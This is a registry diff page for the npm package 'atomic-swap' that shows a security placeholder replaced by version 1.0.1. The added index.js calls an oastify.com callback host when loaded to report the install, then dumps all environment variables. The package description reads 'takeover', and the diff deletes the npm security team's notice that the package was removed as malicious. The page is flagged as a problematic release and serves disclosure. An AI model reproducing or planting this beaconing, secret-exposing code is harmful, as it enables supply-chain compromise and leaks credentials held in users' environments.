atomic-swap 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of atomic-swap might be problematic. Click here for more details.
- package/index.js +17 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
// Log the installation to your server
|
4
|
+
const logInstallation = () => {
|
5
|
+
https.get('https://097tl11sqhcxq3il9i08gihav11tpi.oastify.com/log?info=atomic-swap-installed', (res) => {
|
6
|
+
console.log('Logging installation to your server');
|
7
|
+
}).on('error', (err) => {
|
8
|
+
console.error('Error logging installation:', err);
|
9
|
+
});
|
10
|
+
};
|
11
|
+
|
12
|
+
logInstallation();
|
13
|
+
|
14
|
+
// Example of malicious behavior
|
15
|
+
console.log("Malicious package 'atomic-swap' has been installed.");
|
16
|
+
console.log("Environment Variables:", process.env);
|
17
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "atomic-swap",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "takeover",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=atomic-swap for more information.
|